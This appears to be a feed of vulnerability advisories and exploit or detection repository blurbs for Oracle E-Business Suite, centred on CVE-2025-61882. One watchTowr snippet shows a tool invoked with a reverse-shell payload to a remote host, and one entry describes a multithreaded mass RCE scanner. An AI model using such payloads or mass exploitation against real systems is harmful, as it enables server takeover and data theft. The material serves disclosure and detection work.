Oracle E-Business Suite <=12.2 - Authentication Bypass

Oracle E-Business Suite component: Manage Proxies 12.1 and 12.2 are susceptible to an easily exploitable vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise it by self-registering for an account. Successful attacks of this vulnerability can result in...

Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect

The Oracle Applications Framework component of Oracle E-Business Suite subcomponent: Popup windows lists of values, datepicker, etc. is impacted by open redirect issues in versions 12.1.3, 12.2.3, 12.2.4, 12.2.5 and 12.2.6. These easily exploitable vulnerabilities allow unauthenticated attackers...

CVE-2025-61882-Oracle-E-Business-Suite-Pre-Auth-RCE-Exploit

CVE-2025-61882 - Oracle E-Business Suite 预认证远程代码执行漏洞利用 Oracle E-Business Suite（版本 12.2.3–12.2.14）中存在一个严重的预认证远程代码执行（RCE）漏洞，攻击者可通过恶意 HTTP 请求完全控制易受攻击的服务器——该漏洞目前已在野外被积极利用。 摘要 CVE-2025-61882 是 Oracle E-Business Suite（EBS） 中的一个严重预认证 RCE 漏洞，已被勒索/数据窃取活动积极利用。受影响版本：12.2.3 → 12.2.14 。Oracle 发布了紧急公告，包含 IOC（I...

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse 检测 Oracle E-Business Suite（CVE-2025-61882）。检测方式：多层检查——指纹识别、版本检查、端点与 SSRF 测试、时序分析及受控利用，共 4 项高置信度结果。默认仅执行安全的指纹识别。设置 aggressive=true 可启用主动/探测检查，请谨慎使用。由 BattalionX 提供 [email protected]...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 与 CVE-2025-61884 编辑说明：Oracle 刚刚披露了一个新漏洞 CVE-2025-61884，该漏洞的检测脚本可在此仓库中找到，原始来源为：https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550。 引用自 Oracle 安全公告： 本安全公告针对 Oracle E-Business Suite 中的漏洞 CVE-2025-61882。该漏洞可远程利用且无需身份验证，即攻击者可通过网络利用该漏洞，无需提供用户名和密码。若成功利用，该漏洞可能导致远程代码执行。...

CVE-2025-61882-Oracle-EBS

Oracle E-Business Suite — CVE-2025-61882 本仓库包含 ZeroZenX 的研究成果以及针对 CVE-2025-61882 的完整可用漏洞利用实现，仅供在授权环境中支持防御性研究、事件响应、检测工程和补丁验证。 重要提示： 此代码仅供安全专业人员在受控实验室环境中使用，仅供获得明确授权的渗透测试人员以及需要验证缓解措施的供应商/运营商使用。 未经授权对生产系统或你不拥有的系统使用此代码属于违法行为，且不符合道德规范。...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 向け検出アーティファクト生成ツール 技術的な詳細は、ブログ記事 を参照してください 動作中の検出 root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

Oracle Critical Security Patch Update, September 2026 Review

Oracle released its September edition of Critical Security Patch Update. The update received patches for 673 security vulnerabilities. Some of the vulnerabilities addressed in this update impact more than one product. These patches address vulnerabilities in various product families, including...

vulnerabilities present in Oracle E-Business Suite

Oracle has identified 159 vulnerabilities in various Oracle E-Business Suite products, including Oracle Applications Framework, Oracle Document Management and Collaboration, Oracle Mobile Application Server, Oracle Alert, Oracle Application Object Library, Oracle Applications Manager, Oracle Bill...

Blackash-CVE-2025-61882

🛡️🚨 CVE‑2025‑61882 — Oracle E‑Business Suite EBS 中的严重预认证远程代码执行漏洞 🚨🛡️ 简要概述：Oracle E‑Business Suite EBS 中存在严重的预认证远程代码执行漏洞 — 影响 12.2.3 → 12.2.14 版本，CVSS 评分为 9.8 ，已在野外被积极利用（据报道存在勒索/敲诈活动）。oracle.com1 📌 快速事实（表格） 字段| 详情 ---|--- 🆔 CVE| CVE‑2025‑61882 🧾 产品 / 组件| Oracle E‑Business Suite EBS — 并发处理 / BI...

Blackash-CVE-2025-61884

CVE-2025-61884 新 Oracle E-Business Suite 漏洞可让黑客无需登录即可访问数据 💀 CVE-2025-61884 — 完整摘要 🧾💥 字段| 详情 ---|--- 标识符| CVE-2025-61884 产品| Oracle E-Business Suite — Oracle Configurator（运行时界面） 受影响版本| 12.2.3 → 12.2.14 攻击向量| 网络（HTTP）— 未认证 访问 影响| 机密性（未经授权的数据泄露） CVSSv3.1 基础评分| 7.5（高危） — AV:N/AC:L/PR:N/UI:N/C:H/I:N/A...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 更新：Oracle 刚刚披露了一个新漏洞 CVE-2025-61884，该漏洞的检测脚本可在本仓库中找到，或原始地址位于：https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550。 如 Oracle 的安全公告 所述： 本安全警报针对 Oracle E-Business Suite 中的漏洞 CVE-2025-61882。该漏洞无需身份验证即可远程利用，即攻击者无需用户名和密码即可通过网络进行利用。若成功利用，此漏洞可能导致远程代码执行。...

CVE-2025-61882

Oracle E-Business Suite RCE 扫描器 CVE-2025-61882 一个快速、多线程的批量扫描器，用于检测 Oracle E-Business Suite 安装中的 CVE-2025-61882。该严重漏洞允许未经身份验证的远程代码执行。 🎯 功能特性 批量扫描 - 从文件中处理数百或数千个目标 多线程 - 可配置的并发扫描（默认：20 个线程） 自动检测 - 通过执行 id 命令并解析输出来验证 RCE 实时结果 - 易受攻击的目标会立即写入 vuln-output.txt 随机端口 - 为每个目标使用随机端口（2000-9999）以避免冲突 简洁输出...

CVE-2026-87265

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...

CVE-2026-87165

Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite component: ECC For Award and IDV. The supported version that is affected is V16. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromis...

CVE-2026-87169

Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite component: Wage Determination Online. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HT...

CVE-2026-87166

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...

CVE-2026-87160

Vulnerability in the Oracle HRMS India product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle HRMS India...

CVE-2026-87161

Vulnerability in the Oracle HRMS India product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HRMS India. While th...

CVE-2026-87163

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...